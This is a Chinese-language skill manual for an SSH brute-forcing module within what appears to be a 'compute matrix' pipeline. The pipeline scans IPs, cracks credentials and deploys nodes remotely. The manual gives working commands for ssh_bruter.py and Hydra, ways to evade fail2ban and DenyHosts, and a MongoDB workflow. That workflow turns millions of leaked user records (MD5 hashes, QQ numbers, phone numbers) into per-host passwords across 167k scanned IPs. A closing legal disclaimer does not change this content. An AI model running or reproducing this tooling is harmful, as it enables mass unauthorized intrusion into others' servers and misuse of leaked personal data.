Files
suanli-juzhen/04_暴力破解/SKILL.md

565 lines
20 KiB
Markdown
Raw Normal View History

---
name: SSH暴力破解
description: 分布式算力矩阵 - SSH凭证暴力破解v3.0:用户派生凭证升级 + MongoDB状态标记 + 全量处理)
triggers: 暴力破解、SSH破解、字典攻击、SSH登录、凭证爆破、brute force、hydra、ssh bruter
owner: 卡若
version: "3.0"
updated: "2026-02-15"
---
# 04_暴力破解
> 核心任务:通过字典攻击/暴力破解快速获取SSH登录凭证衔接扫描模块与节点部署
> 已吸收GitHub SecLists字典 + asyncssh异步方案 + Hydra工具链 + 实战Top200凭证
---
## 一、模块概述
暴力破解模块是分布式算力矩阵的「攻击引擎」,位于流水线的第二环节。从 01_扫描模块 获取开放SSH端口的IP列表通过智能字典攻击获取有效凭证结果自动写入 02_账号密码管理供 03_节点部署 使用。
**在整个流水线中的位置**
```
01_扫描模块 04_暴力破解 02_账号密码管理 03_节点部署
扫描IP/端口 ──→ SSH字典攻击 ──→ 存储有效凭证 ──→ 远程部署节点
(masscan/nmap) (asyncssh/hydra) (加密数据库) (一键植入)
```
## 二、双引擎架构
```
┌─────────────────────────┐
│ 暴力破解控制台 │
│ (ssh_bruter.py) │
└────────────┬────────────┘
┌────────────▼────────────┐
│ 调度层 │
│ ┌─────────────────┐ │
│ │ 目标队列 │ │
│ │ (IP:Port列表) │ │
│ └────────┬────────┘ │
│ │ │
│ ┌────────▼────────┐ │
│ │ 字典管理器 │ │
│ │ (内置+自定义) │ │
│ └────────┬────────┘ │
│ │ │
│ ┌────────▼────────┐ │
│ │ 并发控制器 │ │
│ │ (Semaphore) │ │
│ └────────┬────────┘ │
└───────────┼──────────────┘
┌──────────┴──────────┐
▼ ▼
┌─────────────┐ ┌─────────────┐
│ 引擎A: │ │ 引擎B: │
│ AsyncSSH │ │ Paramiko │
│ (异步,首选) │ │ (同步,备选) │
│ 500+并发 │ │ 线程池并发 │
└──────┬──────┘ └──────┬──────┘
└──────────┬──────────┘
┌─────────────────────┐
│ 结果收集器 │
│ JSON + CSV + 报告 │
└─────────────────────┘
```
### 引擎对比
| 特性 | AsyncSSH (引擎A) | Paramiko (引擎B) | Hydra (外部工具) |
|:---|:---|:---|:---|
| **语言** | Python asyncio | Python threading | C 语言 |
| **并发模型** | 协程(真异步) | 线程池 | 多进程 |
| **最大并发** | 500+ | ~100 | ~64 |
| **速度** | ⭐⭐⭐ 最快 | ⭐⭐ 中等 | ⭐⭐⭐ 最快 |
| **兼容性** | Python 3.10+ | Python 3.6+ | 需额外安装 |
| **老旧设备** | 需配kex参数 | 默认兼容好 | 兼容好 |
| **推荐场景** | 大批量(>100台) | 兼容性要求高 | 单台/快速验证 |
---
## 三、字典体系
### 3.1 字典分层策略
| 层级 | 文件 | 凭证数 | 预估耗时/台 | 适用场景 |
|:---|:---|:---|:---|:---|
| **L1 快速** | 内置 BUILTIN_CREDENTIALS | ~150 | ~30s | 首轮快扫 |
| **L2 标准** | ssh_default_credentials.txt | ~200 | ~1min | 默认+IoT |
| **L3 扩展** | ssh_usernames.txt × ssh_passwords_top500.txt | ~22,000 | ~30min | 深度破解 |
| **L4 暴力** | 自定义大字典 | 100,000+ | 数小时 | 特定目标 |
### 3.2 字典来源
| 来源 | 说明 | GitHub |
|:---|:---|:---|
| **SecLists** | 安全测试标准字典集67k+ stars | `danielmiessler/SecLists` |
| **top-100-passwords** | 实际SSH攻击中最常见密码 | `WillieStevenson/top-100-passwords` |
| **Probable-Wordlists** | 按概率排序的密码表8.5k stars | `berzerk0/Probable-Wordlists` |
| **bruteforce-database** | 1100万条密码综合数据库 | `duyet/bruteforce-database` |
| **实战积累** | 卡若团队实际SSH攻击命中统计 | 内部 |
### 3.3 字典文件清单
```
references/
├── ssh_default_credentials.txt # 组合字典 (user:password)~200条
├── ssh_usernames.txt # 用户名字典,~45个
├── ssh_passwords_top500.txt # 密码字典 Top500
└── (可扩展) rockyou_top10000.txt # 从SecLists下载
```
### 3.4 快速扩展字典
```bash
# 下载 SecLists SSH专用字典
curl -sL https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt \
-o references/seclist_ssh_defaults.txt
# 下载 Top 10000 常用密码
curl -sL https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt \
-o references/top10000_passwords.txt
# 下载完整 rockyou 子集
curl -sL https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Leaked-Databases/rockyou-75.txt \
-o references/rockyou_top75.txt
```
---
## 四、使用方式
### 4.1 Python脚本推荐
```bash
# 安装依赖
pip install -r scripts/requirements.txt
# === 单目标破解 ===
python3 scripts/ssh_bruter.py --target 192.168.1.100
# === 指定端口 ===
python3 scripts/ssh_bruter.py --target 192.168.1.100:2222
# === 批量破解IP列表文件===
python3 scripts/ssh_bruter.py --targets targets.txt --concurrency 300
# === 从01_扫描模块结果直接导入 ===
python3 scripts/ssh_bruter.py --from-scan ../01_扫描模块/results/scan_results.json
# === 使用自定义字典 ===
python3 scripts/ssh_bruter.py --target 192.168.1.100 \
--combodict references/ssh_default_credentials.txt
# === 分离字典(用户名×密码交叉) ===
python3 scripts/ssh_bruter.py --targets targets.txt \
--userdict references/ssh_usernames.txt \
--passdict references/ssh_passwords_top500.txt
# === 高性能模式 ===
python3 scripts/ssh_bruter.py --targets targets.txt \
--concurrency 500 --timeout 5 --delay 0.01
```
### 4.2 Hydra工具快速验证
```bash
# 安装 Hydra
brew install hydra # macOS
# apt install hydra # Ubuntu
# === 单目标快速破解 ===
./scripts/hydra_wrapper.sh single 192.168.1.100
# === 单目标指定端口 ===
./scripts/hydra_wrapper.sh single 192.168.1.100 2222
# === 快速模式(仅默认凭证) ===
./scripts/hydra_wrapper.sh single 192.168.1.100 --fast
# === 批量破解 ===
./scripts/hydra_wrapper.sh batch targets.txt
# === 直接用Hydra高级 ===
hydra -C references/ssh_default_credentials.txt -t 32 -w 15 192.168.1.100 ssh
```
### 4.3 扫描→破解 全流程
```bash
# 第1步从扫描结果提取SSH目标
python3 scripts/scan_to_brute.py \
--input ../01_扫描模块/results/scan_results.json \
--output targets.txt
# 第2步批量暴力破解
python3 scripts/ssh_bruter.py --targets targets.txt --concurrency 300
# 第3步成功凭证自动保存在 results/ 目录
ls results/
# found_credentials.json ← 可直接导入 02_账号密码管理
# found_credentials.csv
# brute_report_*.json ← 完整报告
# 第4步导入凭证库对接02_账号密码管理
python3 ../02_账号密码管理/scripts/import_hosts.py \
--from results/found_credentials.json
```
### 4.4 一键全流程脚本
```bash
#!/bin/bash
# 扫描 → 破解 → 导入 一条龙
SCAN_RESULT="../01_扫描模块/results/scan_results.json"
echo "[1/3] 提取SSH目标..."
python3 scripts/scan_to_brute.py -i "$SCAN_RESULT" -o targets.txt
echo "[2/3] 开始暴力破解..."
python3 scripts/ssh_bruter.py -T targets.txt -c 300
echo "[3/3] 导入凭证库..."
python3 ../02_账号密码管理/scripts/import_hosts.py --from results/found_credentials.json
echo "完成!"
```
---
## 五、速度优化策略
### 5.1 并发参数调优
| 场景 | 并发数 | 超时 | 延迟 | 说明 |
|:---|:---|:---|:---|:---|
| 内网快扫 | 500 | 3s | 0s | 内网延迟低 |
| 外网标准 | 200 | 8s | 0.05s | 平衡速度和稳定 |
| 外网深度 | 100 | 15s | 0.1s | 避免被ban |
| 单目标深度 | 50 | 10s | 0.2s | 规避fail2ban |
### 5.2 性能预估
| 字典规模 | 并发200 | 并发500 |
|:---|:---|:---|
| 150条(L1) | ~30s/台 | ~12s/台 |
| 200条(L2) | ~1min/台 | ~25s/台 |
| 22,000条(L3) | ~30min/台 | ~12min/台 |
### 5.3 规避防护
| 防护机制 | 规避策略 |
|:---|:---|
| fail2ban | 控制同IP失败次数延迟 > 0.1s |
| DenyHosts | 使用多个源IP代理池 |
| 限速限连 | 降低并发 + 增加超时 |
| SSH Banner延迟 | 增加banner_timeout |
| 端口敲门(Port Knocking) | 需先触发knock序列 |
---
## 六、脚本清单
| 脚本 | 功能 | 说明 |
|:---|:---|:---|
| `ssh_bruter.py` | **核心暴力破解器** | AsyncSSH + Paramiko 双引擎,异步高并发 |
| `scan_to_brute.py` | 扫描结果转换器 | 从多种扫描格式提取SSH目标 |
| `hydra_wrapper.sh` | Hydra封装脚本 | 快速单台/批量破解 |
| `requirements.txt` | Python依赖 | asyncssh, paramiko, aiofiles |
---
## 七、字典文件清单
| 文件 | 类型 | 条目数 | 说明 |
|:---|:---|:---|:---|
| `ssh_default_credentials.txt` | 组合(user:pass) | ~200 | 默认凭证+IoT+NAS+云 |
| `ssh_usernames.txt` | 用户名 | ~45 | 常用SSH用户名 |
| `ssh_passwords_top500.txt` | 密码 | ~500 | Top500高频密码 |
---
## 八、输出格式
### 8.1 成功凭证 (found_credentials.json)
```json
[
{
"ip": "192.168.1.100",
"port": 22,
"username": "root",
"password": "password",
"success": true,
"banner": "Linux server1 5.15.0 #1 SMP x86_64 GNU/Linux",
"os_info": "",
"error": "",
"timestamp": "2026-02-15T12:30:45"
}
]
```
### 8.2 破解报告 (brute_report_*.json)
```json
{
"scan_info": {
"start_time": "2026-02-15T12:00:00",
"elapsed_seconds": 120.5,
"total_targets": 100,
"total_attempts": 15000,
"success_count": 12,
"fail_count": 14988,
"concurrency": 200
},
"found_credentials": [...],
"failed_hosts": ["192.168.1.200", ...]
}
```
### 8.3 CSV格式 (found_credentials.csv)
```
ip,port,username,password,banner,timestamp
192.168.1.100,22,root,password,Linux server1...,2026-02-15T12:30:45
```
---
## 九、配置文件
`config/brute_config.yaml` 参考:
```yaml
bruter:
engine: asyncssh # asyncssh / paramiko / hydra
concurrency: 200 # 并发连接数
timeout: 8 # 单次超时(秒)
delay: 0.05 # 尝试间隔(秒)
max_retries: 1 # 网络错误重试
stop_on_first: true # 找到一个就停止该IP
dictionary:
builtin: true # 使用内置凭证
combo_file: references/ssh_default_credentials.txt
user_file: references/ssh_usernames.txt
pass_file: references/ssh_passwords_top500.txt
level: L2 # L1快速 / L2标准 / L3扩展
output:
dir: ./results
format: [json, csv] # 输出格式
realtime_save: true # 成功即保存
ports:
default: [22, 2222] # 默认SSH端口
extended: [22, 2222, 22222, 10022, 20022] # 扩展端口列表
safety:
max_fail_per_ip: 50 # 单IP最大失败次数防ban
blacklist: [] # IP黑名单不攻击
whitelist_only: false # 仅白名单模式
```
---
## 十、GitHub 参考项目索引
| 项目 | Stars | 说明 | 地址 |
|:---|:---|:---|:---|
| **SecLists** | 67k+ | 安全测试字典大全SSH/密码/用户名) | `danielmiessler/SecLists` |
| **Hydra** | 10k+ | C语言多协议暴力破解工具 | `vanhauser-thc/thc-hydra` |
| **mass-bruter** | - | masscan + hydra 自动化框架 | `opabravo/mass-bruter` |
| **masspwn** | - | masscan + nmap + brutespray 链式攻击 | `juanschallibaum/masspwn` |
| **Probable-Wordlists** | 8.5k | 概率排序密码字典 | `berzerk0/Probable-Wordlists` |
| **ssh-paramiko-toolkit** | - | Paramiko SSH工具集 | `dedlinux777/ssh-paramiko-toolkit` |
| **SSH-Bruteforcer** | - | 异步+多线程双模式 | `calc1f4r/SSH-Bruteforcer` |
| **AsyncSSH** | - | Python异步SSH库 | `ronf/asyncssh` |
| **top-100-passwords** | - | 实际SSH攻击Top100密码 | `WillieStevenson/top-100-passwords` |
---
## 十一、MongoDB 智能破解 v3.0(推荐主力流程)
### 11.1 核心流程
`mongo_smart_brute.py` v3.0 直连 MongoDB自动状态标记+用户专属凭证:
```
KR.分布式矩阵IP_已扫描 (16.7万 SSH开放)
├─ 1) 查询 SSH 可达 IP排除已标记 unreachable/refused/success
├─ 2) 排除自有平台(老坑爹/黑科技)+ 自有IP
├─ 3) 按 S→A→B→C 级别排序
预批量加载用户数据每IP的关联用户内嵌在已扫描文档中
├─ 4) 每IP提取其专属用户的 username/QQ/phone/email/password_hash/reg_time
├─ 5) MD5反查明文200+密码库)
├─ 6) 注册日期→多格式密码yyyyMMdd/yyyy/MMdd等
├─ 7) QQ号/手机号/邮箱前缀→多变体密码
智能凭证列表(用户派生 + 设备默认按优先级排序前50组/IP
├─ 8) 异步高并发 SSH 登录500并发主机级
├─ 9) 每台主机最多50组凭证3次连续网络错误跳过
自动回写 MongoDB 状态标记
├─ success → KR.分布式矩阵IP_已登录 + 已扫描标记
├─ unreachable → 永久跳过3次连续超时
├─ refused → 永久跳过(连接被拒)
└─ auth_failed → 凭证全部失败,标记尝试次数
```
### 11.2 用户数据→SSH凭证转换策略 v3.0
> 每个IP关联的用户不同生成的凭证**完全不同**。这是核心竞争力。
| 策略 | 说明 | 示例 | 优先级 |
|:---|:---|:---|:---|
| **MD5反查** | 200+常见密码预计算MD5匹配无盐哈希 | hash→`123456` | P1 最高 |
| **用户名+原始密码** | MD5反查成功后用户名+明文密码 | `lcs123456:123456` | P1 |
| **用户名作密码** | 用户名本身常被设为SSH密码 | root:`zhangsan` | P2 |
| **同名同密** | 网站账密复用到SSH | `admin:admin` | P2 |
| **QQ号作密码** | 中国用户极常见74.7万条有QQ | root:`628917` | P2 |
| **QQ变体** | QQ+123, qq前缀等 | root:`628917123` | P4 |
| **手机号** | 全号/后6位/后8位/后4位2.9万条) | root:`13001020581` | P2 |
| **手机号变体** | 手机+点, 后6位+点 | root:`020581.` | P4-P5 |
| **注册日期** | yyyyMMdd/yyyy/MMdd/ddMMyyyy/yyyy-MM-dd | root:`20140928` | P3 |
| **日期+后缀** | 日期+点/叹号 | root:`20140928.` | P4-P5 |
| **邮箱前缀** | 邮箱@前部分作密码 | root:`zhangsan` | P3 |
| **邮箱前缀变体** | 前缀+123, 前缀同名 | `zhang:zhang` | P5 |
| **用户名+后缀** | username+123/1/123456/@123/!@#/. | root:`lcs123` | P4 |
| **用户名+弱密码** | 常见弱密码搭配用户名 | `lcs:123456` | P4 |
| **用户名数字** | 提取用户名中的数字部分 | root:`123456` | P4 |
| **设备默认** | 按OS/SSH版本匹配 | `ubuntu:ubuntu` | P0-P2 |
**数据覆盖率**(来自 KR.分布式矩阵IP
- username: 100% (871万全有)
- password_hash: 100%
- 无盐MD5: 115,530条 (1.3%, 可反查)
- QQ号: 747,602条 (8.6%)
- 手机号: 29,174条 (0.3%)
- 注册日期: 有少量
### 11.3 SSH 状态标记机制v3.0 新增)
每次破解完一台主机,自动回写标记到 `KR.分布式矩阵IP_已扫描`
| 标记 | 含义 | 后续处理 |
|:---|:---|:---|
| `success` | SSH登录成功 | 写入 `已登录` 集合,永久跳过 |
| `unreachable` | 3次连续超时 | 永久跳过IP已变更或防火墙封堵 |
| `refused` | 连接被拒绝 | 永久跳过SSH服务关闭 |
| `auth_failed` | SSH可达但凭证全部失败 | 保留,后续可用更大字典重试 |
标记字段:
```json
{
"ssh_brute_status": "unreachable", // 状态
"ssh_brute_attempts": 3, // 实际尝试次数
"ssh_brute_total_creds": 50, // 可用凭证总数
"ssh_brute_time": "2026-02-15T..." // 最后尝试时间
}
```
**效果**:后续运行自动跳过已标记 IP每轮只处理新增/未处理的 IP。
### 11.4 使用方式
```bash
# 默认S级+A级
python3 scripts/mongo_smart_brute.py
# 全量S+A+B+C 所有未标记IP
python3 scripts/mongo_smart_brute.py --level SABC
# 限量B级
python3 scripts/mongo_smart_brute.py --level B --max-targets 5000
# 高并发全量
python3 scripts/mongo_smart_brute.py --level SABC --concurrency 500 --timeout 8
# 试运行(查看凭证但不登录)
python3 scripts/mongo_smart_brute.py --level SABC --dry-run
```
### 11.5 排除规则
| 排除项 | 说明 |
|:---|:---|
| 老坑爹论坛/商店 | 自有平台用户IP |
| 黑科技 (quwanzhi.com) | 自有平台用户IP |
| 自有基础设施 | 宝塔/存客宝/Oracle VPS 等 6 个IP |
| D级全端口开放 | 蜜罐概率>80% |
| 已标记 unreachable/refused/success | 历史结果自动跳过 |
### 11.6 结果存储
| 位置 | 内容 |
|:---|:---|
| `KR.分布式矩阵IP_已登录` | MongoDB含成功凭证+快捷SSH命令 |
| `KR.分布式矩阵IP_已扫描.ssh_brute_status` | MongoDB每IP的SSH状态标记 |
| `results/found_credentials.json` | 本地JSON |
| `results/found_credentials.csv` | 本地CSV |
| `results/smart_brute_report_*.json` | 完整报告 |
---
## 十二、与其他模块的对接
### 上游01_扫描模块 → 本模块
```bash
# 方式1通过MongoDB推荐
python3 scripts/mongo_smart_brute.py --level SA
# 方式2通过文件
python3 scripts/scan_to_brute.py \
--input ../01_扫描模块/results/scan_results.json \
--output targets.txt
python3 scripts/ssh_bruter.py --targets targets.txt
```
### 下游:本模块 → 02_账号密码管理 → 03_节点部署
```bash
# 成功凭证导入凭证库
python3 ../02_账号密码管理/scripts/import_hosts.py \
--from results/found_credentials.json
# 或直接用凭证部署
python3 ../03_节点部署/scripts/deploy.py \
--creds results/found_credentials.json --parallel 20
```
---
## 十三、脚本清单(更新)
| 脚本 | 功能 | 说明 |
|:---|:---|:---|
| **`mongo_smart_brute.py`** | **MongoDB智能破解器** | 直连MongoDB用户数据+设备凭证融合,推荐主力 |
| `ssh_bruter.py` | 通用暴力破解器 | 文件输入AsyncSSH+Paramiko双引擎 |
| `scan_to_brute.py` | 扫描结果转换器 | 多格式→目标列表 |
| `hydra_wrapper.sh` | Hydra封装 | 快速验证用 |
| `requirements.txt` | Python依赖 | asyncssh, paramiko, pymongo |
---
## 十四、法律声明
**本模块的所有工具仅用于管理自有设备和已获授权的安全测试。**
未经授权使用暴力破解工具攻击他人系统违反《中华人民共和国刑法》第285条非法侵入计算机信息系统罪。使用前请确保
1. 目标设备为自有或已获书面授权
2. 在合法的渗透测试范围内
3. 遵守当地法律法规